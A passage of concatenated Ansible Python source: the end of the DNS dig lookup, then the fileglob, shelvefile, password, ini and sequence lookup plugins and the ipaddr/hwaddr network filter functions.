                            raise AnsibleError("dns lookup NS: ", str(e))
                    myres.nameservers = nameservers
                continue
            if '=' in t:
                try:
                    opt, arg = t.split('=')
                except:
                    pass

                if opt == 'qtype':
                    qtype = arg.upper()
                elif opt == 'flat':
                    flat = int(arg)

                continue

            if '/' in t:
                try:
                    domain, qtype = t.split('/')
                except:
                    domain = t
            else:
                domain = t

        # print "--- domain = {0} qtype={1}".format(domain, qtype)

        ret = []

        if qtype.upper() == 'PTR':
            try:
                n = dns.reversename.from_address(domain)
                domain = n.to_text()
            except dns.exception.SyntaxError:
                pass
            except Exception as e:
                raise AnsibleError("dns.reversename unhandled exception", str(e))

        try:
            answers = myres.query(domain, qtype)
            for rdata in answers:
                s = rdata.to_text()
                if qtype.upper() == 'TXT':
                    s = s[1:-1]  # Strip outside quotes on TXT rdata

                if flat:
                    ret.append(s)
                else:
                    try:
                        rd = make_rdata_dict(rdata)
                        rd['owner']     = answers.canonical_name.to_text()
                        rd['type']      = dns.rdatatype.to_text(rdata.rdtype)
                        rd['ttl']       = answers.rrset.ttl

                        ret.append(rd)
                    except Exception as e:
                        ret.append(str(e))

        except dns.resolver.NXDOMAIN:
            ret.append('NXDOMAIN')
        except dns.resolver.NoAnswer:
            ret.append("")
        except dns.resolver.Timeout:
            ret.append('')
        except dns.exception.DNSException as e:
            raise AnsibleError("dns.resolver unhandled exception", e)

        return ret






# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import glob

from ansible.plugins.lookup import LookupBase
from ansible.errors import AnsibleFileNotFound
from ansible.utils.unicode import to_bytes, to_unicode

class LookupModule(LookupBase):

    def run(self, terms, variables=None, **kwargs):

        ret = []
        for term in terms:
            term_file = os.path.basename(term)
            try:
                dwimmed_path = self.find_file_in_search_path(variables, 'files', os.path.dirname(term))
            except AnsibleFileNotFound:
                dwimmed_path = None
            if dwimmed_path:
                globbed = glob.glob(to_bytes(os.path.join(dwimmed_path, term_file), errors='strict'))
                ret.extend(to_unicode(g, errors='strict') for g in globbed if os.path.isfile(g))
        return ret






# (c) 2015, Alejandro Guirao <lekumberri@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import shelve

from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase
from ansible.utils.unicode import to_bytes, to_unicode

class LookupModule(LookupBase):


    def read_shelve(self, shelve_filename, key):
        """
        Read the value of "key" from a shelve file
        """
        d = shelve.open(to_bytes(shelve_filename))
        res = d.get(key, None)
        d.close()
        return res

    def run(self, terms, variables=None, **kwargs):

        if not isinstance(terms, list):
            terms = [ terms ]

        ret = []

        for term in terms:
            paramvals = {"file": None, "key": None}
            params = term.split()

            try:
                for param in params:
                    name, value = param.split('=')
                    assert(name in paramvals)
                    paramvals[name] = value

            except (ValueError, AssertionError) as e:
                # In case "file" or "key" are not present
                raise AnsibleError(e)

            key = paramvals['key']

            # Search also in the role/files directory and in the playbook directory
            shelvefile = self.find_file_in_search_path(variables, 'files', paramvals['file'])

            if shelvefile:
                res = self.read_shelve(shelvefile, key)
                if res is None:
                    raise AnsibleError("Key %s not found in shelve file %s" % (key, file))
                # Convert the value read to string
                ret.append(to_unicode(res))
                break
            else:
                raise AnsibleError("Could not locate shelve file in lookup: %s" % file)

        return ret






# (c) 2012, Daniel Hokka Zakrisson <daniel@hozac.com>
# (c) 2013, Javier Candeira <javier@candeira.com>
# (c) 2013, Maykel Moya <mmoya@speedyrails.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import string
import random

from string import ascii_letters, digits

from ansible import constants as C
from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase
from ansible.parsing.splitter import parse_kv
from ansible.utils.encrypt import do_encrypt
from ansible.utils.path import makedirs_safe

DEFAULT_LENGTH = 20
VALID_PARAMS = frozenset(('length', 'encrypt', 'chars'))


def _parse_parameters(term):
    # Hacky parsing of params
    # See https://github.com/ansible/ansible-modules-core/issues/1968#issuecomment-136842156
    # and the first_found lookup For how we want to fix this later
    first_split = term.split(' ', 1)
    if len(first_split) <= 1:
        # Only a single argument given, therefore it's a path
        relpath = term
        params = dict()
    else:
        relpath = first_split[0]
        params = parse_kv(first_split[1])
        if '_raw_params' in params:
            # Spaces in the path?
            relpath = ' '.join((relpath, params['_raw_params']))
            del params['_raw_params']

            # Check that we parsed the params correctly
            if not term.startswith(relpath):
                # Likely, the user had a non parameter following a parameter.
                # Reject this as a user typo
                raise AnsibleError('Unrecognized value after key=value parameters given to password lookup')
        # No _raw_params means we already found the complete path when
        # we split it initially

    # Check for invalid parameters.  Probably a user typo
    invalid_params = frozenset(params.keys()).difference(VALID_PARAMS)
    if invalid_params:
        raise AnsibleError('Unrecognized parameter(s) given to password lookup: %s' % ', '.join(invalid_params))

    # Set defaults
    params['length'] = int(params.get('length', DEFAULT_LENGTH))
    params['encrypt'] = params.get('encrypt', None)

    params['chars'] = params.get('chars', None)
    if params['chars']:
        tmp_chars = []
        if ',,' in params['chars']:
            tmp_chars.append(u',')
        tmp_chars.extend(c for c in params['chars'].replace(',,', ',').split(',') if c)
        params['chars'] = tmp_chars
    else:
        # Default chars for password
        params['chars'] = ['ascii_letters', 'digits', ".,:-_"]

    return relpath, params


class LookupModule(LookupBase):

    def random_password(self, length=DEFAULT_LENGTH, chars=C.DEFAULT_PASSWORD_CHARS):
        '''
        Return a random password string of length containing only chars.
        NOTE: this was moved from the old ansible utils code, as nothing
              else appeared to use it.
        '''

        password = []
        while len(password) < length:
            new_char = os.urandom(1)
            if new_char in chars:
                password.append(new_char)

        return ''.join(password)

    def random_salt(self):
        salt_chars = ascii_letters + digits + './'
        return self.random_password(length=8, chars=salt_chars)

    def run(self, terms, variables, **kwargs):

        ret = []

        for term in terms:
            relpath, params = _parse_parameters(term)

            # get password or create it if file doesn't exist
            path = self._loader.path_dwim(relpath)
            if not os.path.exists(path):
                pathdir = os.path.dirname(path)
                try:
                    makedirs_safe(pathdir, mode=0o700)
                except OSError as e:
                    raise AnsibleError("cannot create the path for the password lookup: %s (error was %s)" % (pathdir, str(e)))

                chars = "".join(getattr(string, c, c) for c in params['chars']).replace('"', '').replace("'", '')
                password = ''.join(random.choice(chars) for _ in range(params['length']))

                if params['encrypt'] is not None:
                    salt = self.random_salt()
                    content = '%s salt=%s' % (password, salt)
                else:
                    content = password
                with open(path, 'w') as f:
                    os.chmod(path, 0o600)
                    f.write(content + '\n')
            else:
                content = open(path).read().rstrip()

                password = content
                salt = None

                try:
                    sep = content.rindex(' salt=')
                except ValueError:
                    # No salt
                    pass
                else:
                    salt = password[sep + len(' salt='):]
                    password = content[:sep]

                if params['encrypt'] is not None and salt is None:
                    # crypt requested, add salt if missing
                    salt = self.random_salt()
                    content = '%s salt=%s' % (password, salt)
                    with open(path, 'w') as f:
                        os.chmod(path, 0o600)
                        f.write(content + '\n')

            if params['encrypt']:
                password = do_encrypt(password, params['encrypt'], salt=salt)

            ret.append(password)

        return ret






# (c) 2015, Yannig Perre <yannig.perre(at)gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from io import StringIO
import os
import re

try:
    # python2
    import ConfigParser as configparser
except ImportError:
    # python3
    import configparser

from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase
from ansible.utils.unicode import to_bytes


def _parse_params(term):
    '''Safely split parameter term to preserve spaces'''

    keys = ['key', 'section', 'file', 're']
    params = {}
    for k in keys:
        params[k] = ''

    thiskey = 'key'
    for idp,phrase in enumerate(term.split()):
        for k in keys:
            if ('%s=' % k) in phrase:
                thiskey = k
        if idp == 0 or not params[thiskey]:
            params[thiskey] = phrase
        else:
            params[thiskey] += ' ' + phrase

    rparams = [params[x] for x in keys if params[x]]
    return rparams


class LookupModule(LookupBase):

    def read_properties(self, filename, key, dflt, is_regexp):
        config = StringIO()
        config.write(u'[java_properties]\n' + open(to_bytes(filename, errors='strict')).read())
        config.seek(0, os.SEEK_SET)
        self.cp.readfp(config)
        return self.get_value(key, 'java_properties', dflt, is_regexp)

    def read_ini(self, filename, key, section, dflt, is_regexp):
        self.cp.readfp(open(to_bytes(filename, errors='strict')))
        return self.get_value(key, section, dflt, is_regexp)

    def get_value(self, key, section, dflt, is_regexp):
        # Retrieve all values from a section using a regexp
        if is_regexp:
            return [v for k, v in self.cp.items(section) if re.match(key, k)]
        value = None
        # Retrieve a single value
        try:
            value = self.cp.get(section, key)
        except configparser.NoOptionError:
            return dflt
        return value

    def run(self, terms, variables=None, **kwargs):

        basedir = self.get_basedir(variables)
        self.basedir = basedir
        self.cp      = configparser.ConfigParser()

        ret = []
        for term in terms:
            params = _parse_params(term)
            key = params[0]

            paramvals = {
                'file'     : 'ansible.ini',
                're'       : False,
                'default'  : None,
                'section'  : "global",
                'type'     : "ini",
            }

            # parameters specified?
            try:
                for param in params[1:]:
                    name, value = param.split('=')
                    assert(name in paramvals)
                    paramvals[name] = value
            except (ValueError, AssertionError) as e:
                raise AnsibleError(e)

            path = self.find_file_in_search_path(variables, 'files', paramvals['file'])
            if paramvals['type'] == "properties":
                var = self.read_properties(path, key, paramvals['default'], paramvals['re'])
            else:
                var = self.read_ini(path, key, paramvals['section'], paramvals['default'], paramvals['re'])
            if var is not None:
                if type(var) is list:
                    for v in var:
                        ret.append(v)
                else:
                    ret.append(var)
        return ret






# (c) 2013, Jayson Vantuyl <jayson@aggressive.ly>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from re import compile as re_compile, IGNORECASE

from ansible.errors import AnsibleError
from ansible.parsing.splitter import parse_kv
from ansible.plugins.lookup import LookupBase

# shortcut format
NUM = "(0?x?[0-9a-f]+)"
SHORTCUT = re_compile(
    "^(" +        # Group 0
    NUM +         # Group 1: Start
    "-)?" +
    NUM +         # Group 2: End
    "(/" +        # Group 3
    NUM +         # Group 4: Stride
    ")?" +
    "(:(.+))?$",  # Group 5, Group 6: Format String
    IGNORECASE
)


class LookupModule(LookupBase):
    """
    sequence lookup module

    Used to generate some sequence of items. Takes arguments in two forms.

    The simple / shortcut form is:

      [start-]end[/stride][:format]

    As indicated by the brackets: start, stride, and format string are all
    optional.  The format string is in the style of printf.  This can be used
    to pad with zeros, format in hexadecimal, etc.  All of the numerical values
    can be specified in octal (i.e. 0664) or hexadecimal (i.e. 0x3f8).
    Negative numbers are not supported.

    Some examples:

      5 -> ["1","2","3","4","5"]
      5-8 -> ["5", "6", "7", "8"]
      2-10/2 -> ["2", "4", "6", "8", "10"]
      4:host%02d -> ["host01","host02","host03","host04"]

    The standard Ansible key-value form is accepted as well.  For example:

      start=5 end=11 stride=2 format=0x%02x -> ["0x05","0x07","0x09","0x0a"]

    This format takes an alternate form of "end" called "count", which counts
    some number from the starting value.  For example:

      count=5 -> ["1", "2", "3", "4", "5"]
      start=0x0f00 count=4 format=%04x -> ["0f00", "0f01", "0f02", "0f03"]
      start=0 count=5 stride=2 -> ["0", "2", "4", "6", "8"]
      start=1 count=5 stride=2 -> ["1", "3", "5", "7", "9"]

    The count option is mostly useful for avoiding off-by-one errors and errors
    calculating the number of entries in a sequence when a stride is specified.
    """

    def reset(self):
        """set sensible defaults"""
        self.start = 1
        self.count = None
        self.end = None
        self.stride = 1
        self.format = "%d"

    def parse_kv_args(self, args):
        """parse key-value style arguments"""
        for arg in ["start", "end", "count", "stride"]:
            try:
                arg_raw = args.pop(arg, None)
                if arg_raw is None:
                    continue
                arg_cooked = int(arg_raw, 0)
                setattr(self, arg, arg_cooked)
            except ValueError:
                raise AnsibleError(
                    "can't parse arg %s=%r as integer"
                        % (arg, arg_raw)
                )
            if 'format' in args:
                self.format = args.pop("format")
        if args:
            raise AnsibleError(
                "unrecognized arguments to with_sequence: %r"
                % args.keys()
            )

    def parse_simple_args(self, term):
        """parse the shortcut forms, return True/False"""
        match = SHORTCUT.match(term)
        if not match:
            return False

        _, start, end, _, stride, _, format = match.groups()

        if start is not None:
            try:
                start = int(start, 0)
            except ValueError:
                raise AnsibleError("can't parse start=%s as integer" % start)
        if end is not None:
            try:
                end = int(end, 0)
            except ValueError:
                raise AnsibleError("can't parse end=%s as integer" % end)
        if stride is not None:
            try:
                stride = int(stride, 0)
            except ValueError:
                raise AnsibleError("can't parse stride=%s as integer" % stride)

        if start is not None:
            self.start = start
        if end is not None:
            self.end = end
        if stride is not None:
            self.stride = stride
        if format is not None:
            self.format = format

    def sanity_check(self):
        if self.count is None and self.end is None:
            raise AnsibleError( "must specify count or end in with_sequence")
        elif self.count is not None and self.end is not None:
            raise AnsibleError( "can't specify both count and end in with_sequence")
        elif self.count is not None:
            # convert count to end
            if self.count != 0:
                self.end = self.start + self.count * self.stride - 1
            else:
                self.start = 0
                self.end = 0
                self.stride = 0
            del self.count
        if self.stride > 0 and self.end < self.start:
            raise AnsibleError("to count backwards make stride negative")
        if self.stride < 0 and self.end > self.start:
            raise AnsibleError("to count forward don't make stride negative")
        if self.format.count('%') != 1:
            raise AnsibleError("bad formatting string: %s" % self.format)

    def generate_sequence(self):
        if self.stride >= 0:
            adjust = 1
        else:
            adjust = -1
        numbers = xrange(self.start, self.end + adjust, self.stride)

        for i in numbers:
            try:
                formatted = self.format % i
                yield formatted
            except (ValueError, TypeError):
                raise AnsibleError(
                    "problem formatting %r with %r" % self.format
                )

    def run(self, terms, variables, **kwargs):
        results = []

        for term in terms:
            try:
                self.reset()  # clear out things for this iteration
                try:
                    if not self.parse_simple_args(term):
                        self.parse_kv_args(parse_kv(term))
                except Exception as e:
                    raise AnsibleError("unknown error parsing with_sequence arguments: %r. Error was: %s" % (term, e))

                self.sanity_check()
                if self.stride != 0:
                    results.extend(self.generate_sequence())
            except AnsibleError:
                raise
            except Exception as e:
                raise AnsibleError(
                    "unknown error generating sequence: %s" % e
                )

        return results






# (c) 2014, Maciej Delmanowski <drybjed@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from functools import partial
import types

try:
    import netaddr
except ImportError:
    # in this case, we'll make the filters return error messages (see bottom)
    netaddr = None
else:
    class mac_linux(netaddr.mac_unix):
        pass
    mac_linux.word_fmt = '%.2x'

from ansible import errors


# ---- IP address and network query helpers ----

def _empty_ipaddr_query(v, vtype):
    # We don't have any query to process, so just check what type the user
    # expects, and return the IP address in a correct format
    if v:
        if vtype == 'address':
            return str(v.ip)
        elif vtype == 'network':
            return str(v)

def _6to4_query(v, vtype, value):
    if v.version == 4:

        if v.size == 1:
            ipconv = str(v.ip)
        elif v.size > 1:
            if v.ip != v.network:
                ipconv = str(v.ip)
            else:
                ipconv = False

        if ipaddr(ipconv, 'public'):
            numbers = list(map(int, ipconv.split('.')))

        try:
            return '2002:{:02x}{:02x}:{:02x}{:02x}::1/48'.format(*numbers)
        except:
            return False

    elif v.version == 6:
        if vtype == 'address':
            if ipaddr(str(v), '2002::/16'):
                return value
        elif vtype == 'network':
            if v.ip != v.network:
                if ipaddr(str(v.ip), '2002::/16'):
                    return value
            else:
                return False

def _ip_query(v):
    if v.size == 1:
        return str(v.ip)
    if v.size > 1:
        if v.ip != v.network:
            return str(v.ip)

def _gateway_query(v):
    if v.size > 1:
        if v.ip != v.network:
            return str(v.ip) + '/' + str(v.prefixlen)

def _bool_ipaddr_query(v):
    if v:
        return True

def _broadcast_query(v):
    if v.size > 1:
        return str(v.broadcast)

def _cidr_query(v):
    return str(v)

def _cidr_lookup_query(v, iplist, value):
    try:
        if v in iplist:
            return value
    except:
        return False

def _host_query(v):
    if v.size == 1:
        return str(v)
    elif v.size > 1:
        if v.ip != v.network:
            return str(v.ip) + '/' + str(v.prefixlen)

def _hostmask_query(v):
    return str(v.hostmask)

def _int_query(v, vtype):
    if vtype == 'address':
        return int(v.ip)
    elif vtype == 'network':
        return str(int(v.ip)) + '/' + str(int(v.prefixlen))

def _ipv4_query(v, value):
    if v.version == 6:
        try:
            return str(v.ipv4())
        except:
            return False
    else:
        return value

def _ipv6_query(v, value):
    if v.version == 4:
        return str(v.ipv6())
    else:
        return value

def _link_local_query(v, value):
    v_ip = netaddr.IPAddress(str(v.ip))
    if v.version == 4:
        if ipaddr(str(v_ip), '169.254.0.0/24'):
            return value

    elif v.version == 6:
        if ipaddr(str(v_ip), 'fe80::/10'):
            return value

def _loopback_query(v, value):
    v_ip = netaddr.IPAddress(str(v.ip))
    if v_ip.is_loopback():
        return value

def _multicast_query(v, value):
    if v.is_multicast():
        return value

def _net_query(v):
    if v.size > 1:
        if v.ip == v.network:
            return str(v.network) + '/' + str(v.prefixlen)

def _netmask_query(v):
    if v.size > 1:
        return str(v.netmask)

def _network_query(v):
    if v.size > 1:
        return str(v.network)

def _prefix_query(v):
    return int(v.prefixlen)

def _private_query(v, value):
    if v.is_private():
        return value

def _public_query(v, value):
    v_ip = netaddr.IPAddress(str(v.ip))
    if v_ip.is_unicast() and not v_ip.is_private() and \
        not v_ip.is_loopback() and not v_ip.is_netmask() and \
        not v_ip.is_hostmask():
        return value

def _revdns_query(v):
    v_ip = netaddr.IPAddress(str(v.ip))
    return v_ip.reverse_dns

def _size_query(v):
    return v.size

def _subnet_query(v):
    return str(v.cidr)

def _type_query(v):
    if v.size == 1:
        return 'address'
    if v.size > 1:
        if v.ip != v.network:
            return 'address'
        else:
            return 'network'

def _unicast_query(v, value):
    if v.is_unicast():
        return value

def _version_query(v):
    return v.version

def _wrap_query(v, vtype, value):
    if v.version == 6:
        if vtype == 'address':
            return '[' + str(v.ip) + ']'
        elif vtype == 'network':
            return '[' + str(v.ip) + ']/' + str(v.prefixlen)
    else:
        return value


# ---- HWaddr query helpers ----
def _bare_query(v):
    v.dialect = netaddr.mac_bare
    return str(v)

def _bool_hwaddr_query(v):
    if v:
        return True

def _int_hwaddr_query(v):
    return int(v)

def _cisco_query(v):
    v.dialect = netaddr.mac_cisco
    return str(v)

def _empty_hwaddr_query(v, value):
    if v:
        return value

def _linux_query(v):
    v.dialect = mac_linux
    return str(v)

def _postgresql_query(v):
    v.dialect = netaddr.mac_pgsql
    return str(v)

def _unix_query(v):
    v.dialect = netaddr.mac_unix
    return str(v)

def _win_query(v):
    v.dialect = netaddr.mac_eui48
    return str(v)


# ---- IP address and network filters ----

def ipaddr(value, query = '', version = False, alias = 'ipaddr'):
    ''' Check if string is an IP address or network and filter it '''

    query_func_extra_args = {
            '': ('vtype',),
            '6to4': ('vtype', 'value'),
            'cidr_lookup': ('iplist', 'value'),
            'int': ('vtype',),
            'ipv4': ('value',),
            'ipv6': ('value',),
            'link-local': ('value',),
            'loopback': ('value',),
            'lo': ('value',),
            'multicast': ('value',),
            'private': ('value',),
            'public': ('value',),
            'unicast': ('value',),
            'wrap': ('vtype', 'value'),
            }
    query_func_map = {
            '': _empty_ipaddr_query,
            '6to4': _6to4_query,
            'address': _ip_query,
            'address/prefix': _gateway_query,
            'bool': _bool_ipaddr_query,
            'broadcast': _broadcast_query,
            'cidr': _cidr_query,
            'cidr_lookup': _cidr_lookup_query,
            'gateway': _gateway_query,
            'gw': _gateway_query,
            'host': _host_query,
            'host/prefix': _gateway_query,
            'hostmask': _hostmask_query,
            'hostnet': _gateway_query,
            'int': _int_query,
            'ip': _ip_query,
            'ipv4': _ipv4_query,
            'ipv6': _ipv6_query,
            'link-local': _link_local_query,
            'lo': _loopback_query,
            'loopback': _loopback_query,
            'multicast': _multicast_query,
            'net': _net_query,
            'netmask': _netmask_query,
            'network': _network_query,
            'prefix': _prefix_query,
            'private': _private_query,
            'public': _public_query,
            'revdns': _revdns_query,
            'router': _gateway_query,
            'size': _size_query,
            'subnet': _subnet_query,
            'type': _type_query,
            'unicast': _unicast_query,
            'v4': _ipv4_query,
            'v6': _ipv6_query,
            'version': _version_query,
            'wrap': _wrap_query,
            }

    vtype = None

    if not value:
        return False

    elif value == True:
        return False

    # Check if value is a list and parse each element
    elif isinstance(value, (list, tuple, types.GeneratorType)):

        _ret = []
        for element in value:
            if ipaddr(element, str(query), version):
                    _ret.append(ipaddr(element, str(query), version))

        if _ret:
            return _ret
        else:
            return list()

    # Check if value is a number and convert it to an IP address
    elif str(value).isdigit():

        # We don't know what IP version to assume, so let's check IPv4 first,
        # then IPv6
        try:
            if ((not version) or (version and version == 4)):
                v = netaddr.IPNetwork('0.0.0.0/0')
                v.value = int(value)
                v.prefixlen = 32
            elif version and version == 6:
                v = netaddr.IPNetwork('::/0')
                v.value = int(value)
                v.prefixlen = 128

        # IPv4 didn't work the first time, so it definitely has to be IPv6
        except:
            try:
                v = netaddr.IPNetwork('::/0')
                v.value = int(value)
                v.prefixlen = 128

            # The value is too big for IPv6. Are you a nanobot?
            except:
                return False

        # We got an IP address, let's mark it as such
        value = str(v)
        vtype = 'address'

    # value has not been recognized, check if it's a valid IP string
    else:
        try:
            v = netaddr.IPNetwork(value)

            # value is a valid IP string, check if user specified
            # CIDR prefix or just an IP address, this will indicate default
            # output format
            try:
                address, prefix = value.split('/')
                vtype = 'network'
            except:
                vtype = 'address'

        # value hasn't been recognized, maybe it's a numerical CIDR?
        except:
            try:
                address, prefix = value.split('/')
                address.isdigit()
                address = int(address)
                prefix.isdigit()
                prefix = int(prefix)

            # It's not numerical CIDR, give up
            except:
                return False

            # It is something, so let's try and build a CIDR from the parts
            try:
                v = netaddr.IPNetwork('0.0.0.0/0')
                v.value = address
                v.prefixlen = prefix

            # It's not a valid IPv4 CIDR
            except:
                try:
                    v = netaddr.IPNetwork('::/0')
                    v.value = address
                    v.prefixlen = prefix

                # It's not a valid IPv6 CIDR. Give up.
                except:
                    return False

            # We have a valid CIDR, so let's write it in correct format
            value = str(v)
            vtype = 'network'

    # We have a query string but it's not in the known query types. Check if
    # that string is a valid subnet, if so, we can check later if given IP
    # address/network is inside that specific subnet
    try:
        ### ?? 6to4 and link-local were True here before.  Should they still?
        if query and (query not in query_func_map or query == 'cidr_lookup') and ipaddr(query, 'network'):
            iplist = netaddr.IPSet([netaddr.IPNetwork(query)])
            query = 'cidr_lookup'
    except:
        pass

    # This code checks if value maches the IP version the user wants, ie. if
    # it's any version ("ipaddr()"), IPv4 ("ipv4()") or IPv6 ("ipv6()")
    # If version does not match, return False
    if version and v.version != version:
        return False

    extras = []
    for arg in query_func_extra_args.get(query, tuple()):
        extras.append(locals()[arg])
    try:
        return query_func_map[query](v, *extras)
    except KeyError:
        try:
            float(query)
            if v.size == 1:
                if vtype == 'address':
                    return str(v.ip)
                elif vtype == 'network':
                    return str(v)

            elif v.size > 1:
                try:
                    return str(v[query]) + '/' + str(v.prefixlen)
                except:
                    return False

            else:
                return value

        except:
            raise errors.AnsibleFilterError(alias + ': unknown filter type: %s' % query)

    return False


def ipwrap(value, query = ''):
    try:
        if isinstance(value, (list, tuple, types.GeneratorType)):
            _ret = []
            for element in value:
                if ipaddr(element, query, version = False, alias = 'ipwrap'):
                    _ret.append(ipaddr(element, 'wrap'))
                else:
                    _ret.append(element)

            return _ret
        else:
            _ret = ipaddr(value, query, version = False, alias = 'ipwrap')
            if _ret:
                return ipaddr(_ret, 'wrap')
            else:
                return value

    except:
        return value


def ipv4(value, query = ''):
    return ipaddr(value, query, version = 4, alias = 'ipv4')


def ipv6(value, query = ''):
    return ipaddr(value, query, version = 6, alias = 'ipv6')


# Split given subnet into smaller subnets or find out the biggest subnet of
# a given IP address with given CIDR prefix
# Usage:
#
#  - address or address/prefix | ipsubnet
#      returns CIDR subnet of a given input
#
#  - address/prefix | ipsubnet(cidr)
#      returns number of possible subnets for given CIDR prefix
#
#  - address/prefix | ipsubnet(cidr, index)
#      returns new subnet with given CIDR prefix
#
#  - address | ipsubnet(cidr)
#      returns biggest subnet with given CIDR prefix that address belongs to
#
#  - address | ipsubnet(cidr, index)
#      returns next indexed subnet which contains given address
def ipsubnet(value, query = '', index = 'x'):
    ''' Manipulate IPv4/IPv6 subnets '''

    try:
        vtype = ipaddr(value, 'type')
        if vtype == 'address':
            v = ipaddr(value, 'cidr')
        elif vtype == 'network':
            v = ipaddr(value, 'subnet')

        value = netaddr.IPNetwork(v)
    except:
        return False

    if not query:
        return str(value)

    elif str(query).isdigit():
        vsize = ipaddr(v, 'size')
        query = int(query)

        try:
            float(index)
            index = int(index)

            if vsize > 1:
                try:
                    return str(list(value.subnet(query))[index])
                except:
                    return False

            elif vsize == 1:
                try:
                    return str(value.supernet(query)[index])
                except:
                    return False

        except:
            if vsize > 1:
                try:
                    return str(len(list(value.subnet(query))))
                except:
                    return False

            elif vsize == 1:
                try:
                    return str(value.supernet(query)[0])
                except:
                    return False

    return False

# Returns the nth host within a network described by value.
# Usage:
#
#  - address or address/prefix | nthhost(nth)
#      returns the nth host within the given network
def nthhost(value, query=''):
    ''' Get the nth host within a given network '''
    try:
        vtype = ipaddr(value, 'type')
        if vtype == 'address':
            v = ipaddr(value, 'cidr')
        elif vtype == 'network':
            v = ipaddr(value, 'subnet')

        value = netaddr.IPNetwork(v)
    except:
        return False

    if not query:
        return False

    try:
        nth = int(query)
        if value.size > nth:
          return value[nth]

    except ValueError:
        return False

    return False

# Returns the SLAAC address within a network for a given HW/MAC address.
# Usage:
#
#  - prefix | slaac(mac)
def slaac(value, query = ''):
    ''' Get the SLAAC address within given network '''
    try:
        vtype = ipaddr(value, 'type')
        if vtype == 'address':
            v = ipaddr(value, 'cidr')
        elif vtype == 'network':
            v = ipaddr(value, 'subnet')

        if v.version != 6:
            return False

        value = netaddr.IPNetwork(v)
    except:
        return False

    if not query:
        return False

    try:
        mac = hwaddr(query, alias = 'slaac')

        eui = netaddr.EUI(mac)
    except:
        return False

    return eui.ipv6(value.network)


# ---- HWaddr / MAC address filters ----

def hwaddr(value, query = '', alias = 'hwaddr'):
    ''' Check if string is a HW/MAC address and filter it '''

    query_func_extra_args = {
            '': ('value',),
            }
    query_func_map = {
            '': _empty_hwaddr_query,
            'bare': _bare_query,
            'bool': _bool_hwaddr_query,
            'int': _int_hwaddr_query,
            'cisco': _cisco_query,
            'eui48': _win_query,
            'linux': _linux_query,
            'pgsql': _postgresql_query,
            'postgresql': _postgresql_query,
            'psql': _postgresql_query,
            'unix': _unix_query,
            'win': _win_query,
            }

    try:
        v = netaddr.EUI(value)
    except:
        if query and query != 'bool':
            raise errors.AnsibleFilterError(alias + ': not a hardware address: %s' % value)

    extras = []
    for arg in query_func_extra_args.get(query, tuple()):
        extras.append(locals()[arg])
    try:
        return query_func_map[query](v, *extras)
    except KeyError:
        raise errors.AnsibleFilterError(alias + ': unknown filter type: %s' % query)

    return False

def macaddr(value, query = ''):
    return hwaddr(value, query, alias = 'macaddr')

def _need_netaddr(f_name, *args, **kwargs):
    raise errors.AnsibleFilterError('The {0} filter requires python-netaddr be'
            ' installed on the ansible controller'.format(f_name))

def ip4_hex(arg):
    ''' Convert an IPv4 address to Hexadecimal notation '''
    numbers = list(map(int, arg.split('.')))
    return '{:02x}{:02x}{:02x}{:02x}'.format(*numbers)

